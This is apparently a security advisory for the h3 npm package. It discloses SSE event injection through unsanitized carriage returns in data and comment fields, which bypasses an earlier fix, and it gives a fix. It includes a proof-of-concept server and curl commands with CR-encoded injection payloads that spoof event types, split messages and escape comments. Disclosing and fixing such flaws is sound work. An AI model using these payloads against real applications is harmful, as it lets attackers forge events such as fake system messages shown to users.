GHSA-4hxc-9384-m385
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Quick fix
GHSA-4hxc-9384-m385 — h3: upgrade to the fixed version with the command below.
npm install h3@2.0.1-rc.17Details
## Summary
The `EventStream` class in h3 fails to sanitize carriage return (`\r`) characters in `data` and `comment` fields. Per the SSE specification, `\r` is a valid line terminator, so browsers interpret injected `\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\n` injection but missed `\r`-only injection.
## Details
The prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\n` and `\r` from `id` and `event` fields, and changed `data` formatting to split on `\n`. However, two code paths remain vulnerable:
### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)
```typescript const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split("\n")) { // Only splits on \n, not \r result += `data: ${line}\n`; } ```
`String.prototype.split("\n")` does **not** split on `\r`. A string like `"legit\revent: evil"` remains as a single "line" and is emitted as:
``` data: legit\revent: evil\n ```
Per the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\r` alone is a valid line terminator. The browser parses this as two separate lines:
``` data: legit event: evil ```
### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)
```typescript export function formatEventStreamComment(comment: string): string { return ( comment .split("\n") // Only splits on \n, not \r .map((l) => `: ${l}\n`) .join("") + "\n" ); } ```
The same `split("\n")` pattern means `\r` in comments is not handled. An input like `"x\rdata: injected"` produces:
``` : x\rdata: injected\n\n ```
Which the browser parses as a comment line followed by actual data:
``` : x data: injected ```
### Why `_sanitizeSingleLine` doesn't help
The `_sanitizeSingleLine` function at line 198 correctly strips both `\r` and `\n`:
```typescript function _sanitizeSingleLine(value: string): string { return value.replace(/[\n\r]/g, ""); } ```
But it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.
## PoC
### Setup
Create a minimal h3 application that reflects user input into an SSE stream:
```javascript // server.mjs import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => { const stream = createEventStream(event); const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps) await stream.push(String(msg));
setTimeout(() => stream.close(), 1000); return stream.send(); }));
export default app; ```
### Attack 1: Event type injection via `\r` in data
```bash # Inject an "event: evil" directive via \r in data curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil" ```
**Expected (safe) wire output:** ``` data: legit\revent: evil\n\n ```
**Browser parses as:** ``` data: legit event: evil ```
The browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.
### Attack 2: Message boundary injection (event splitting)
```bash # Inject a message boundary (\r\r = empty line) to split one push() into two events curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected" ```
**Browser parses as two separate events:** 1. Event 1: `data: first` 2. Event 2: `data: injected`
A single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.
### Attack 3: Comment escape to data injection
```bash # Inject via pushComment() — escape from comment into data curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected" ```
**Browser parses as:** ``` : x (comment, ignored) data: injected (real data, dispatched as event) ```
## Impact
- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation. - **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface. - **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`. - **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.
## Recommended Fix
Both `formatEventStreamMessage` and `formatEventStreamComment` should split on `\r`, `\n`, and `\r\n` — matching the SSE spec's line terminator definition.
```typescript // src/utils/internal/event-stream.ts
// Add a shared regex for SSE line terminators const SSE_LINE_SPLIT = /\r\n|\r|\n/;
export function formatEventStreamComment(comment: string): string { return ( comment .split(SSE_LINE_SPLIT) // was: .split("\n") .map((l) => `: ${l}\n`) .join("") + "\n" ); }
export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += `id: ${_sanitizeSingleLine(message.id)}\n`; } if (message.event) { result += `event: ${_sanitizeSingleLine(message.event)}\n`; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += `retry: ${message.retry}\n`; } const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n") result += `data: ${line}\n`; } result += "\n"; return result; } ```
This ensures all three SSE-spec line terminators (`\r\n`, `\r`, `\n`) are properly handled as line boundaries, preventing `\r` from being passed through to the browser where it would be interpreted as a line break.
Are you affected?
Enter the version of the package you're using.